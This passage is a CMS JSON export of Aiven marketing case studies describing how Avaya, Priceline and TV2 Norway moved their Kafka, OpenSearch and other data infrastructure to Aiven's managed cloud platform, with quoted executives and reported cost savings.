center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":true,"rounded":false,"subtitle":[{"_key":"784ba7696138","_type":"block","children":[{"_key":"8f34f721efe70","_type":"span","marks":[],"text":"Avaya’s goal is simple: to help organizations drive business momentum by creating unmatched customer and employee experiences. Many of the world’s largest brands and government agencies trust their Avaya solutions, including 90% of the top 100 U.S. companies, the top 19 global banks, and the world’s top 10 airlines and top 10 automotive companies. With a customer-centric approach and innovation that makes customer interactions not only work but work better, more and more enterprise customers choose Avaya every day."}],"markDefs":[],"style":"normal"}],"title":"Improving the customer experience for major businesses around the world","variant":"oneColumn"},{"_key":"31091664cd13","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-4413e08ca1e47c5e3ec67a17f42f118e2682d745-1280x960-jpg","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":true,"rounded":false},{"_key":"b3c6afaf0b3d","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"04d9856472f9","_type":"block","children":[{"_key":"e09c166210ab0","_type":"span","marks":[],"text":"To help their customers bring the power of AI and automation to their processes and workflows, Avaya helps them chart a journey to the cloud — which will mean moving thousands of on-premises customers to Avaya Experience Platform, where they gain significant cost savings, efficiencies and other competitive advantages. Avaya also benefits internally from cloud efficiencies."}],"markDefs":[],"style":"normal"},{"_key":"35ae0b8ca1f3","_type":"block","children":[{"_key":"97ce3732aadb0","_type":"span","marks":[],"text":"“In the past, Avaya focused on developing its own solutions. Embracing a cloud model and moving to hyperscalers promised to open up a lot of capacity and free our teams to concentrate on developing Avaya products,” explains Rich Driscoll, Senior Vice President, IT Enterprise and Cloud Operations, Avaya."}],"markDefs":[],"style":"normal"},{"_key":"0145f7e8f864","_type":"block","children":[{"_key":"59fc1f60786f0","_type":"span","marks":[],"text":"For example, with open source technologies Apache Kafka® and OpenSearch® as key parts of the Avaya Experience Platform solution, Avaya had a number of platform engineers focused on their management. Running these technologies in the cloud would require even more specialized expertise which they did not have in-house. Support from Aiven addressed these issues."}],"markDefs":[],"style":"normal"},{"_key":"ba13e9204725","_type":"block","children":[{"_key":"7720137c5df30","_type":"span","marks":[],"text":"Performance and uptime were also key considerations. Avaya’s move to the cloud would affect thousands of companies, and most cannot tolerate performance lags or downtime in their contact centers. “Some of our customers are keen to transition to the cloud to reduce their cost of ownership — but they need to see consistent levels of SLAs and SLOs before making that transformation,” says Chris Hill, Avaya’s Chief Information Security Officer. “It’s impossible to overstate how important that level of resilience is to our business model.”"}],"markDefs":[],"style":"normal"}],"title":"Moving from on-premises contact center solutions to the cloud","variant":"oneColumn"},{"_key":"b61e54e158a5","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-d89ece4dcfd4bf83e37fa93f774d5cc7ef940660-1200x628-png","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":true,"noSpaceTop":true,"rounded":false},{"_key":"b80dcb0577b7","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"9151d1714d5e","_type":"block","children":[{"_key":"0bb319043e8c0","_type":"span","marks":[],"text":"After evaluating different vendors, Avaya selected Aiven’s data platform running on Microsoft Azure. Aiven for Apache Kafka handles internal messages across various microservices in the Avaya Experience Platform solution, ensuring the large volume of data is transferred in near-real time, with very low latency."}],"markDefs":[],"style":"normal"},{"_key":"02ecce420fba","_type":"block","children":[{"_key":"9228bec271570","_type":"span","marks":[],"text":"Aiven for OpenSearch stores digital communications such as email, web chat and messaging, and enables these customer communications to be searched in the Avaya Experience Platform. Importantly, this service supports PCI and HIPAA compliance. “Our customers have a lot of sensitive data within their systems. We need to meet client demands for HIPAA, PCI, ISO 27101 and GDPR compliance, among others. It was another important reason to partner with Aiven,” says Hill."}],"markDefs":[],"style":"normal"}],"title":"The Aiven platform underpins the Avaya Experience Platform cloud data infrastructure","variant":"oneColumn"},{"_key":"831c289979d1","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-149b5fbec5eb5e99eeeaf98597ce1998add0b2fa-1185x610-png","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":true,"noSpaceTop":true,"rounded":false},{"_key":"f4ec10ec49e6","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"43b808f5f133","_type":"block","children":[{"_key":"d7eeaf571b110","_type":"span","marks":[],"text":"Once on board, Aiven experts advised Avaya on right-sizing the Apache Kafka and OpenSearch environments to optimize cloud usage. For example, Avaya had been using productionized compute within its development life cycle, which meant that it was spending around 40% more than needed. Aiven also identified additional cost-saving opportunities, such as switching off computing or putting it on standby over weekends and holidays, which led to 15% better cost management."}],"markDefs":[],"style":"normal"},{"_key":"a481b47fc3f4","_type":"block","children":[{"_key":"4dfaaf43798e0","_type":"span","marks":[],"text":"Avaya also benefits financially from the combination of Aiven and Azure. “Being able to leverage our [Azure] hyperscaler contract, and to use Aiven on top of that, has been very beneficial and successful for us,” explains Driscoll."}],"markDefs":[],"style":"normal"},{"_key":"ad217794dba0","_type":"block","children":[{"_key":"6f5e357be6d50","_type":"span","marks":[],"text":"With Aiven’s operational expertise, manual platform modifications were redesigned as infrastructure code changes, introducing a level of standardization that increased quality and reduced incidents. The move from a manual to an automated orchestration lowered the mean time to respond and mean time to resolve incidents by 30-40%."}],"markDefs":[],"style":"normal"},{"_key":"018c808c777e","_type":"block","children":[{"_key":"8dc29a15a9380","_type":"span","marks":[],"text":"“Aiven provides the guardrails to enable Avaya to tap into the potential of open source,” says Driscoll. “Aiven makes it enterprise-ready through all the value-add services like technical support, performance optimization and security.”"}],"markDefs":[],"style":"normal"}],"title":"40% reduction in compute and 15% better cost management","variant":"oneColumn"},{"_key":"05d47a5742708bef0e3e685b13b973f2","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-d2a6a7d674935013759453c36659601f98edb76e-1200x628-png","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":true,"noSpaceTop":true,"rounded":false},{"_key":"cf11078c9b6c","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"c7da2cb14fe0","_type":"block","children":[{"_key":"6c867ac1f51e0","_type":"span","marks":[],"text":"Hill is clear about the advantages that adopting Aiven’s data platform and managed services has given Avaya: “Aiven helps us stay focused on our core mandate of automating the Avaya Experience Platform and enabling innovation — rather than having resources stuck on maintenance activities.”"}],"markDefs":[],"style":"normal"},{"_key":"fa6a5fc37ed5","_type":"block","children":[{"_key":"d3e798fcab390","_type":"span","marks":[],"text":"Without Aiven, Avaya would have needed to hire new talent from a relatively small pool of people having relevant technical skills in order to get to the level of maturity and automation needed. “Alternatively, we could have moved over resources from other teams and trained them,” Hill says, “But that would have slowed our ability to develop and drive innovation.”"}],"markDefs":[],"style":"normal"},{"_key":"39a8c158cb34","_type":"block","children":[{"_key":"0eded2340b810","_type":"span","marks":[],"text":"Driscoll agrees: “Thanks to Aiven, we’ve been able to move away from having teams trying to stay current and on the cutting edge of managing Apache Kafka, which just doesn’t scale from a people or compute standpoint.” In fact, Avaya has transferred six of its platform engineers, who had previously been focused on maintaining the Kafka environment, to work on more satisfying and value-enabling tasks."}],"markDefs":[],"style":"normal"},{"_key":"1e5b3f1925dc","_type":"block","children":[{"_key":"55f4450b8b440","_type":"span","marks":[],"text":"The Aiven Console GUI has also delivered improvements, making it easier for Avaya’s non-Kafka experts to operate the solutions, and enabling its developers and engineers to build more collaborative project teams. “We have come to rely heavily on Aiven for Apache Kafka. Given we are a real-time communications platform, Kafka is literally at the heart of how our microservices interact and communicate,” says Driscoll."}],"markDefs":[],"style":"normal"}],"title":"The right skills in the right place","variant":"oneColumn"},{"_key":"89307c112e66","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-none","subtitle":[{"_key":"252d2340ef8c","_type":"block","children":[{"_key":"d079b2d1732c0","_type":"span","marks":[],"text":"As Avaya continues its own journey as a cloud communications service provider, the organization is evaluating a number of additional services from Aiven, such as Apache Flink®, PostgreSQL®, ClickHouse® and MirrorMaker."}],"markDefs":[],"style":"normal"},{"_key":"6939fffc9d99","_type":"block","children":[{"_key":"2623f45e72030","_type":"span","marks":[],"text":"“We are looking to leverage more services from the Aiven platform,” says Driscoll."}],"markDefs":[],"style":"normal"}],"title":"Flexibility in the future","variant":"oneColumn"}],"heroSubtitle":"The Customer Experience leader gains 40% reduction in compute, 15% better cost management and more efficiencies enabled by Aiven’s open source data platform","heroTitle":"Avaya Transitions to the Cloud with Aiven Underpinning its Flagship Avaya Experience Platform","hostProviders":[{"_key":"9a6c4809149f","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"}],"image":{"_type":"mainImage","asset":{"_ref":"image-95941fa5a03e1b18827ebabf7b8cff16563ea310-1785x1190-jpg","_type":"reference"}},"industry":[{"_id":"21e66dfc-f88c-4f23-9238-0b848acaf2e0","label":"Retail","value":"retail"}],"publishedAt":"2023-11-10T07:00:00.000Z","seo":{"_type":"metaData","metaDescription":"The Customer Experience leader gains 40% reduction in compute, 15% better cost management and more efficiencies enabled by Aiven’s open source data platform","metaImage":{"_type":"mainImage","asset":{"_ref":"image-08d1e5d6d3c034249ac495dc46bc82a841f2ec7e-1837x954-png","_type":"reference"}},"metaTitle":"Avaya Transitions to the Cloud with Aiven Underpinning its Flagship Avaya Experience Platform"},"services":[{"_key":"5693090acfd4","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"},{"_key":"bc5e45e89a6d","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"reference"},{"_key":"b6bc26b07294","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"reference"},{"_key":"7ba1fc469700","_ref":"c6ff24d7-20df-4041-a816-2f7f934c0b80","_type":"reference"}],"slug":{"_type":"slug","current":"/case-studies/avaya-transitions-to-the-cloud-with-the-aiven-platform"},"title":"Avaya Transitions to the Cloud with Aiven Underpinning its Flagship Avaya Experience Platform"} {"__i18n_lang":"en","_createdAt":"2023-02-16T09:37:02Z","_id":"b579529f-90cc-41c9-bb29-9db492937885","_rev":"AUoLUkEDo6CVeRx5soruqz","_type":"caseStudy","_updatedAt":"2024-02-08T17:39:03Z","company":{"_ref":"689cb493-1e77-4232-b6ee-f9bef6a83582","_type":"reference"},"content":[{"_key":"efa603bb5cec","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"5abcb11d2a2a","_type":"block","children":[{"_key":"532b042d9abe0","_type":"span","marks":[],"text":"Aiven was key in the digital cloud-native transformation of Priceline "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ccb4661b8130","_type":"block","children":[{"_key":"3010388a8afb","_type":"span","marks":[],"text":"Priceline’s savings come from not having to maintain the system and from Aiven’s business model where data costs are not charged. "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"36f52b17734a","_type":"block","children":[{"_key":"bca7a74b3ce2","_type":"span","marks":[],"text":"Priceline continues to expand and scale, and that’s easy to do with Aiven."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"548773892c5f","_type":"block","children":[{"_key":"aee9ae9572af0","_type":"span","marks":[],"text":"The travel industry has seen not just steady growth, but also enormous change and upheavals in the last few years. Upheavals are, of course, represented by COVID-19, which resulted in far reduced numbers of travelers, both in terms of business trips and holidays."}],"markDefs":[],"style":"normal"},{"_key":"06e9e3930e11","_type":"block","children":[{"_key":"9c768d56916b","_type":"span","marks":[],"text":"But the changes are multiple. Priceline is a good example of the rise of companies offering new pricing models and increasingly ubiquitous service access. The new pricing models are made possible by the heavy use of pricing and availability data generated by airlines, hotels and rental cars."}],"markDefs":[],"style":"normal"},{"_key":"af1dc4157502","_type":"block","children":[{"_key":"b44796d0ff3c","_type":"span","marks":[],"text":"The same data-driven approach drives online travel agencies to the cloud in order to serve customers better and faster, explains Sachin Menon, VP Data \u0026 Marketing at Priceline. “It all comes down to how good a deal the customer gets when they do a search, and that governs how likely they are to make a booking.”"}],"markDefs":[],"style":"normal"},{"_key":"0809e533e20d","_type":"block","children":[{"_key":"91f1cc355c16","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"h5"}],"title":"Highlights","variant":"oneColumn"},{"_key":"73d238801506","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"6bc6004217d0","_type":"block","children":[{"_key":"2c630a2cad560","_type":"span","marks":[],"text":"In 2019, Priceline was already taking advantage of event-driven architecture by running their own Apache Kafka servers in 2 data centers, serving 4 regions. But the benefits of cloud-based architecture were clear even then. Instead of investing in machines, premises and electricity, going into the cloud means investing directly into software and capacity. Cloud computing brings services closer to the consumer, increasing access and speed. Disaster recovery and security are also enhanced."}],"markDefs":[],"style":"normal"},{"_key":"5b26c7039100","_type":"block","children":[{"_key":"adb6f25bfe85","_type":"span","marks":[],"text":"It was also critical to get valuable insights from the data in real time to enable data-driven decision making and quicker time to market deployments.\nPriceline could have opted for a self-managed Apache Kafka cloud solution. But although Kafka is a great open source answer to many business cases, it’s definitely not effortless."}],"markDefs":[],"style":"normal"},{"_key":"5e135d437030","_type":"block","children":[{"_key":"44945f36b7a0","_type":"span","marks":[],"text":"With their on-premises solution, Priceline already found themselves spending large amounts of time maintaining their data pipelines and updating the servers instead of working on the algorithms and products that were their core expertise. When they decided to move to a cloud environment, they began to search for a partner who could provide a fully managed and hosted Apache Kafka solution and turned to Aiven."}],"markDefs":[],"style":"normal"}],"title":"The challenge","variant":"oneColumn"},{"_key":"e51c2905e497e5e97642b884a01eaa17","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"isHideItemLink":true,"isHideMedia":true,"items":[{"_key":"92b03df0bbbc","_ref":"8662ec2b-c191-4332-897f-afb653ad04b6","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":true,"rounded":false,"variant":"media"},{"_key":"a03f809ced8e","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"1f1ed575d688","_type":"block","children":[{"_key":"9fc854927cc90","_type":"span","marks":[],"text":"Since Priceline’s data was locally stored, their first step would have to be migrating it into whatever cloud they chose. That would be the expensive part; most cloud providers charge for both egress and ingress data. Aiven doesn’t, though. By choosing to go with Aiven, they recognized significant cost savings right off the bat."}],"markDefs":[],"style":"normal"},{"_key":"3e954e238639","_type":"block","children":[{"_key":"265268f8800e","_type":"span","marks":[],"text":"Projects of this magnitude are never easy, and it took Priceline about a year to fully achieve their cloud-native transformation with Aiven. One thing that helped was a factor they had already recognised during the vendor selection process. “Aiven’s Solutions Architecture group fully focused on finding the best solution for us,” says Sachin. “They weren’t looking at it from a sales perspective at all, not trying to push Aiven’s offering. Instead, they would propose a course of action, and then we’d evaluate whether Aiven could support it.”"}],"markDefs":[],"style":"normal"},{"_key":"74ee097f25d4","_type":"block","children":[{"_key":"62645acfb6ca","_type":"span","marks":[],"text":"Together the teams planned out the migration, and every now and then they had to wipe the slate clean and think again. Due to the approach they took, some features that the Priceline team really wanted to include weren’t available from Aiven, but they’ve now been incorporated into Aiven’s roadmap."}],"markDefs":[],"style":"normal"},{"_key":"77ae9ea3fa3c","_type":"block","children":[{"_key":"23559535bdae","_type":"span","marks":[],"text":"The data was migrated en masse onto Aiven’s servers and replication set up, so that instead of two data centers, they now have 4 regions with 2–4 data centers each. Without having to lay a single new brick, they’re now able to serve a much wider range of customers at higher speeds."}],"markDefs":[],"style":"normal"}],"title":"The solution","variant":"oneColumn"},{"_key":"fe462266c8fd2caef6e824979d502b05","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"isHideItemLink":true,"isHideMedia":true,"items":[{"_key":"0424f6f2c326","_ref":"d6622f93-9981-425d-bb18-fd4d1206774a","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":true,"rounded":false,"variant":"media"},{"_key":"8ff67dde71df","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"017a7f1c82a6","_type":"block","children":[{"_key":"f1b4aa3b3d5a0","_type":"span","marks":[],"text":"Today, Aiven for Apache Kafka is a central component of Priceline’s streaming data pipeline, and Aiven is one of the key partners in their data strategy. Sachin is very happy with the situation now."}],"markDefs":[],"style":"normal"},{"_key":"423cf5ae609a","_type":"block","children":[{"_key":"65b7ca6912d7","_type":"span","marks":[],"text":"“With Aiven, we now have the flexibility to enormously scale to accept new data and new users and ingest everything into the analytics layer,” Sachin says. “We can get insights into the data in less than two minutes, which has helped us enable a more efficient reporting timeline.”\nSachin is also happy with his team’s reduced workloads. “With a healthy infrastructure and stable pipeline, and the fully managed platform that Aiven provides, there are fewer production support issues that my team has to look into. It’s just working without surprises.”"}],"markDefs":[],"style":"normal"},{"_key":"10caed7fc079","_type":"block","children":[{"_key":"17debccb912b","_type":"span","marks":[],"text":"But on a higher level, Priceline’s team can now focus on their own core task: improving the product and increasing conversions, resulting in better deals for their customers. They don’t need their own in-house data infrastructure team, which frankly saves them lots of money."}],"markDefs":[],"style":"normal"},{"_key":"26dc81cdb662","_type":"block","children":[{"_key":"b4eda7747b88","_type":"span","marks":[],"text":"Priceline is reviewing opportunities to scale up their operations with Aiven. “Our business is growing, and we’re starting to discuss additional volumes. We’re also looking into enhancing our understanding about the health of our clusters. And I’m thinking about auto-scaling, maybe adding some AI capabilities to leverage historical data.”"}],"markDefs":[],"style":"normal"},{"_key":"8b80cd37c5e3","_type":"block","children":[{"_key":"bb52b44e1f7b","_type":"span","marks":[],"text":"So what does this all mean for the end user, using the Priceline app to buy flight tickets? “Our goal has always been to provide the best deals to our customers. The more we add analysis capabilities, the better the deals we can provide. Aiven is helping us achieve that.”"}],"markDefs":[],"style":"normal"}],"title":"The outcome","variant":"oneColumn"},{"_key":"b78ff222f6a8b69be758e04e03336d8a","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"isHideItemLink":true,"isHideMedia":true,"items":[{"_key":"436dab46b06a","_ref":"8c30efff-1771-4f8c-a629-2bfe8e5d0216","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":true,"rounded":false,"variant":"media"}],"heroSubtitle":"Priceline distributes its streaming architecture globally with Aiven on Google Cloud.\n","heroTitle":"Best deal for Priceline","image":{"_type":"mainImage","asset":{"_ref":"image-8426020b815d762c249b9aa4945a7ce7d7ceeb3e-1920x1038-jpg","_type":"reference"}},"publishedAt":"2023-02-16T09:33:08.350Z","seo":{"_type":"metaData","metaDescription":"Priceline underwent its digital transformation with Aiven's expert support, and are now happy users of Aiven's managed cloud infrastructure.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-c86d7b693a75cc0dbfd125bf687ddb08f9434186-2500x1308-png","_type":"reference"}},"metaTitle":"Priceline a frictionless data pipeline from Aiven"},"slug":{"_type":"slug","current":"/case-studies/best-deal-for-priceline"},"title":"Priceline"} {"__i18n_lang":"en","_createdAt":"2024-03-05T15:52:22Z","_id":"33338761-3a20-46e6-a4aa-37f71f01b626","_rev":"sU8gVQYIrTuyxLjcQuj8m7","_type":"caseStudy","_updatedAt":"2024-03-06T08:49:02Z","company":{"_ref":"60a4a615-afc0-423a-90fa-6278ab73aaad","_type":"reference"},"content":[{"_key":"8468be6163cb","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"589e337b0c87","_type":"block","children":[{"_key":"d177174a02d40","_type":"span","marks":[],"text":"TV2 Norway is the largest commercial television station in Norway and provider of TV2 Play, a popular and growing streaming service. However, TV2’s streaming operations require a very robust data infrastructure which was putting pressure on its engineering teams. To ensure TV2 could continue to serve customers, develop new services and control costs and risks, the company partnered with Aiven to create a standardized platform environment for all its data infrastructure requirements. With Aiven taking on management responsibility, the TV2 teams could focus on adding value to the business and exploring new ways to use data to enhance the company’s performance."}],"markDefs":[],"style":"normal"}],"variant":"oneColumn"},{"_key":"7301c1adce96","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"60a3be555d7e","_type":"block","children":[{"_key":"45b56155b25e","_type":"span","marks":[],"text":"TV2 Norway is one of Norway’s leading media companies. Its commercial TV station is one of the country’s largest, reaching more than 90 percent of Norwegian households. Since 2000 TV2 has experienced year-over-year growth, building on its strengths in broadcast television to create extremely popular online video and web-TV subscription services, as well as premium live sports coverage and thousands of hours of on-demand television programming. An early pioneer in the world of content streaming, it currently has more than 500,000 direct subscribers to its TV2 Play streaming service — which itself continues to grow every year. Recognizing that its success comes from a willingness to innovate and a focus on its community of viewers and users, TV2 wants to become a complete digital media house that provides high-quality content services on all platforms."}],"markDefs":[],"style":"normal"}],"title":"A TV and streaming company with major ambitions","variant":"oneColumn"},{"_key":"f081ddb103b1","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-3f2f603440268b4ccf241152198fbb0b89335428-3840x2160-jpg","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none"},{"_key":"152a40d151be","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"a92703f51b34","_type":"block","children":[{"_key":"49341025aac10","_type":"span","marks":[],"text":"Today’s viewers can choose from huge volumes of content and content sources, which can be overwhelming at times. To personalize that content, and to make it easier for audiences to find what they want to watch, streaming services like TV2 rely on metadata about their users’ viewing habits and their preferences. It helps target content more effectively while supporting an advertising-driven revenue model."}],"markDefs":[],"style":"normal"},{"_key":"86f94ae99dee","_type":"block","children":[{"_key":"e90c0ea8f5060","_type":"span","marks":[],"text":"As TV2 continued to develop its streaming services, it ran into one of the biggest challenges in today’s streaming-first TV world: effective collection, management, analysis and storage of data. That includes production data, but also audience metadata."}],"markDefs":[],"style":"normal"},{"_key":"6d05314f7909","_type":"block","children":[{"_key":"616cbed257d00","_type":"span","marks":[],"text":"The data-focused model required by streaming services works only with accurate, complete and up-to-date data. And this depends on an infrastructure that can keep pace with increasing volumes and speed of both generated and flowing data. However, after years of growth and the adoption ofthe cloud in some parts of the business, TV2’s data infrastructure had become siloed, distributed and inefficient."}],"markDefs":[],"style":"normal"},{"_key":"1e9ad0568303","_type":"block","children":[{"_key":"d736e01352f70","_type":"span","marks":[],"text":"“We had a lot of autonomous teams doing their own thing and spinning up lots of different open-source tools and technologies,” says Thomas Aalèn, Head of Internal Development Platform at TV2. “As directed, the DevOps teams were focused on speed and experimentation but that meant we didn’t always have complete oversight or control — especially of costs.”"}],"markDefs":[],"style":"normal"},{"_key":"c619650a24ce","_type":"block","children":[{"_key":"795546af13b80","_type":"span","marks":[],"text":"While giving teams such independence supported the company’s innovative ethos, it was also creating what Aalèn terms “high cognitive load” on the developers. It was time to rationalize TV2’s complex and resource-intensive data infrastructure, take back control, and move to a managed services model."}],"markDefs":[],"style":"normal"}],"title":"Infrastructure fit for data-driven business model ","variant":"oneColumn"},{"_key":"d10302a7e67a","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-0e55467837c6875b536022a3440008c6b81d2a43-3840x2160-jpg","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none"},{"_key":"844d5e0d279a","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"a8b28a63a2c1","_type":"block","children":[{"_key":"79c141aa8e220","_type":"span","marks":[],"text":"Aalèn and his team started to create an internal development platform (IDP) to give developers and DevOps engineers a standardized infrastructure and development environment. “We wanted to narrow the technologies down and build a golden path for 90% of their use cases,” says Aalèn. As a first step, they looked for an open source service provider who could meet their exact requirements and, after a thorough evaluation of different vendors, chose Aiven."}],"markDefs":[],"style":"normal"},{"_key":"22b27f183bf5","_type":"block","children":[{"_key":"9724e3eed3fb0","_type":"span","marks":[],"text":"At the heart of TV2’s technology strategy is the use of open source solutions and cloud computing services from multiple providers, as this prevents dependency on specific vendors. Consequently, the ability for TV2 to run its workloads on any hyperscaler cloud, anywhere in the world, was a big win. Additionally, Aiven’s commitment to running everything on open source variants also lowered TV2’s risk of adoption."}],"markDefs":[],"style":"normal"},{"_key":"0dac5b514d24","_type":"block","children":[{"_key":"e9840f859dfd0","_type":"span","marks":[],"text":"“As a major provider of news in Norway, we play an important role in society, and our open source and cloud-agnostic strategy is non-negotiable,” says Aalèn. “If anything happens to one of our technology or cloud providers, we need to keep operating. We use more than one hyperscaler to spread the risk. The Aiven Platform supports this strategy.”"}],"markDefs":[],"style":"normal"},{"_key":"c7e4d79e8d05","_type":"block","children":[{"_key":"1f1aa54ffe660","_type":"span","marks":[],"text":"The IDP originally supported TV2’s streaming and online news offerings, due to the importance of live updates and real-time data. Bjarte Brandt, DevOps Architect, TV2, explains, “Apache Kafka® has been a critical component of our data infrastructure for several years but we were losing control of our Kafka clusters. If Kafka doesn't work, our streaming services don’t work. With Aiven’s extensive expertise inmanaging and maintaining Kafka, we knew we could rely on them.”"}],"markDefs":[],"style":"normal"},{"_key":"1b640ad4e72c","_type":"block","children":[{"_key":"5cbec4fcaf840","_type":"span","marks":[],"text":"But just as important was that the Aiven Platform provides a comprehensive range of the most popular open source technologies. “We have a DevOps culture at TV2, and we work hard to put the right teams together. But to be really effective they need the right tools,” says Brandt. “We liked Aiven’s platform approach from the beginning. As users of Kafka, MirrorMaker, Cassandra®, PostgreSQL®, OpenSearch® and Redis®, having them all integrated into the same platform is a huge benefit for us.”"}],"markDefs":[],"style":"normal"},{"_key":"f914f15b296a","_type":"block","children":[{"_key":"229317a3bdeb0","_type":"span","marks":[],"text":"Aalèn says, “We chose 